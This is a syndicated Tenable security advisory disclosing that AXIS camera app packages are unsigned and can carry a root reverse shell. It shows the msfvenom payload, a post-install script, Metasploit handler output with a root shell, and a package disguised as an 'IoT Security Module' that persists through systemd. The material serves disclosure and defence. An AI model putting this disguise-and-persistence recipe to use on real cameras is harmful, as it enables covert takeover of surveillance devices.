Tenable Research Advisory: AXIS Camera App Malicious Package Distribution Weakness

Tenable Research recently audited an AXIS M3044-V network camera and learned that AXIS has introduced an application platform to their cameras. The camera even came with an app pre-installed: AXIS Video Motion Detection. During the audit, we discovered that it’s possible for a malicious actor to tamper with the firmware and replace it with a malicious package.

What do you need to know? Tenable Research has discovered that the underlying operating system used in the AXIS M3044-V Network Camera can be tampered with and replaced with a malicious package.

What’s the attack vector? Using the AXIS Camera Application Platform, a hostile party can create and install an unsigned application package. This requires authenticated access, but once a malicious actor obtains it through social engineering or the supply chain, they’ll have full root access to the device.

What’s the business impact? A malicious package can be used to distribute malware to legitimate users or as a pivot point to execute lateral transfer. Physical security and CCTV operations can also be compromised.

What’s the solution? There is currently no vendor-supplied solution. All currently sold AXIS cameras support the installation of third-party packages. Tenable recommends deploying affected devices in segmented networks and restricting access to approved users.

Background

The AXIS M3044-V is a networked mini dome surveillance camera marketed to stores, hotels, schools, banks and offices for physical security and CCTV.

The AXIS Camera Application Platform (ACAP) is an open application platform that enables third-party developers to develop applications that can be installed on AXIS network cameras and video encoders.

From an attacker’s perspective, an application platform on an embedded device is interesting because it could make distributing and installing malware easy. Creating custom malicious firmware can be time-consuming and difficult. Furthermore, many embedded systems require digitally signed firmware which, to say the least, presents the attacker with a real challenge. You might be thinking that a well-written application platform would also require signed apps. Let’s see what AXIS did.

Startup

Analysis

The first thing we need to know is the format AXIS expects for an app. From the image below, you can see that the camera is expecting the application to have an eap extension.

Upload

Thankfully, since the camera comes with an application pre-installed, you can find an eap file in the firmware. An eap turns out to be just a gzip compressed tar.

albinolobster@ubuntu:~/_M3044-V_8_10_1.bin.extracted$ find . | grep eap

./ubifs-root/usr/share/packages/AXIS_Video_Motion_Detection_4_2_0_armv7hf.eap

albinolobster@ubuntu:~/_M3044-V_8_10_1.bin.extracted$ file ./ubifs-root/usr/share/packages/AXIS_Video_Motion_Detection_4_2_0_armv7hf.eap

./ubifs-root/usr/share/packages/AXIS_Video_Motion_Detection_4_2_0_armv7hf.eap: gzip compressed data, last modified: Tue Dec 19 15:24:07 2017, from Unix


When decompressed, the package reveals a fairly simple format: a binary, a couple of configuration files and some HTML.

albinolobster@ubuntu:~/_M3044-V_8_10_1.bin.extracted/decomp_eap$ ls -l

total 468

-rw-r–r– 1 albinolobster albinolobster     27 Dec 19 10:15 cgi.txt

drwxr-xr-x 6 albinolobster albinolobster   4096 Dec 19 10:22 html

-rw-r–r– 1 albinolobster albinolobster    585 Dec 19 10:24 package.conf

-rw-r–r– 1 albinolobster albinolobster      0 Dec 19 10:15 param.conf

-rwxr-xr-x 1 albinolobster albinolobster 465972 Dec 19 10:24 vmd

albinolobster@ubuntu:~/_M3044-V_8_10_1.bin.extracted/decomp_eap$ file vmd

vmd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.10.0, stripped


The package.conf file appears to contain all the instructions for installing and executing the
vmd binary.

albinolobster@ubuntu:~/_M3044-V_8_10_1.bin.extracted/decomp_eap$ cat package.conf

PACKAGENAME=”AXIS Video Motion Detection”

MENUNAME=”Motion Detection”

APPTYPE=”armv7hf”

APPNAME=”vmd”

APPID=”143440″

LICENSEPAGE=”none”

VENDOR=”Axis Communications”

REQEMBDEVVERSION=”2.12″

APPMAJORVERSION=”4″

APPMINORVERSION=”2″

APPMICROVERSION=”0″

APPGRP=”sdk”

APPUSR=”sdk”

APPOPTS=””

OTHERFILES=””

SETTINGSPAGEFILE=”config.html”

SETTINGSPAGETEXT=”AXIS Video Motion Detection settings”

VENDORHOMEPAGELINK='<a href=”http://www.axis.com” target=”_blank”>www.axis.com</a>

POSTINSTALLSCRIPT=””

STARTMODE=”respawn”

HTTPCGIPATHS=”cgi.txt”

CERTSETNAME=””

CERTSETACTOR=””

CERTSETPROTOCOL=””

The obvious approach to creating our custom application is to simply replace vmd with our own binary. Pursuant to that goal, I generated a little endian ARM reverse shell using msfvenom to replace vmd. I recompressed the package and tried to upload it. Unfortunately, I received an “It did not work!” error message. Could the application be signed in some way? Maybe there’s an API the binary needs to adhere to?

Before racing down those rabbit holes, let’s look at the POSTINSTALLSCRIPT field in package.conf. That sounds like it’ll execute a script of our choosing, right? To test this, I returned the vmd binary back to its original state, renamed my reverse shell to rev_shell.bin, created a bash script called rev_shell.sh to execute the reverse shell and changed the package.conf file to include POSTINSTALLSCRIPT=”rev_shell.sh.”

After repackaging the eap and uploading, I received this:

msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.222:1270

[*] Command shell session 15 opened (192.168.1.222:1270 -> 192.168.1.183:46518) at 2018-01-29 09:39:35 -0500

id

uid=0(root) gid=0(root)

It appears we don’t have to worry about any type of package signing. Also, worth noting, we overwrote the original VMD install. Pretty neat! The problem now is that our reverse shell only starts after installation. That means any type of reboot will remove our connection to the camera. Also, since we overwrote VMD, a future update could remove our modifications. Let’s see if we can craft our own application to work around these things.

Since this isn’t an attempt to be stealthy, the first step to avoid being overwritten by future updates is to create our own application. This is easily done by changing a couple of items in the configuration file. Since our goal is to have our application installed by unwitting third parties (or not removed if we have some sort of supply-chain attack going on), we’ll name our application “AXIS IoT Security Module” and rename vmd appropriately:

PACKAGENAME=”AXIS IoT Security Module”

MENUNAME=”IoT Security”

APPTYPE=”armv7hf”

APPNAME=”iot_security”

APPID=”143441″

LICENSEPAGE=”none”

VENDOR=”Axis Communications”

REQEMBDEVVERSION=”2.12″

APPMAJORVERSION=”1″

APPMINORVERSION=”0″

APPMICROVERSION=”0″


The other half of our problem is persistence. Again, since stealth isn’t a goal, you can just use
systemd like the rest of the system does. Rename the reverse shell to security_daemon and create the following service file:

[Unit]

Description=iot_security_daemon

After=httpd.service

[Service]

Type=simple

ExecStart=/usr/local/packages/iot_security/security_daemon

Restart=always

[Install]

WantedBy=multi-user.target

Next, update the post install script to register the reverse shell with systemd:

#!/bin/sh

cp /usr/local/packages/iot_security/iot_security_daemon.service /etc/systemd/system/ &&

systemctl daemon-reload &&

systemctl enable iot_security_daemon.service &&

systemctl start iot_security_daemon.service

And you’re good to go. Repackage all the files into an eap and, once again, you’ll get a reverse shell. And now the shell will come back up if the camera gets rebooted or there’s a firmware update. However, note that the reverse shell won’t survive a factory reset.

Upgrade

Vendor response

Following our Responsible Disclosure policy, we originally reported these, and other, findings to AXIS in late August 2017. After some discussion, their final statement was the following:

Regarding the ACAP security issue, all the points you make are valid, and not completely unfeasible in today’s world of scams, dodgy app sites and phishers. Though after some internal discussions, the current stance on the ACAP issue is that we will not publish an advisory on this. The majority of the developers of the SDK understand these limitations, and unlike the other issues, there is no easy solution to the problem without breaking compatibility. (Aside from publishing SHA256 checksums on all download links which, as you point out is not enough). We plan to address this in the next generation of our ACAP platform which will have provision for signing ACAPs. If you feel strongly otherwise please let us know. AXIS ACAPs (as of now) do not have the same widespread distribution that, for example the Play/App stores have, but yes, I couldn’t agree more than signing is an essential improvement we need to implement in future versions.

Business impact

A malicious package installed on the camera can be used to distribute malware to legitimate users or as a pivot point to execute lateral transfer. Physical security and CCTV operations can also be compromised.

Solution

While Tenable currently doesn’t offer a plugin that directly checks for tampered firmware, our AXIS web interface detection plugin will help customers to identify deployed AXIS cameras to determine their exposure to this kind of attack.

AXIS scan

Tenable recommends that affected devices are deployed in segmented networks with access and authentication control to restrict usage to approved users.



*** This is a Security Bloggers Network syndicated blog from Tenable Blog authored by Jacob Baines. Read the original post at: http://feedproxy.google.com/~r/tenable/qaXL/~3/4NNrnjQiIRY/tenable-research-advisory-axis-camera-app-malicious-package-distribution-weakness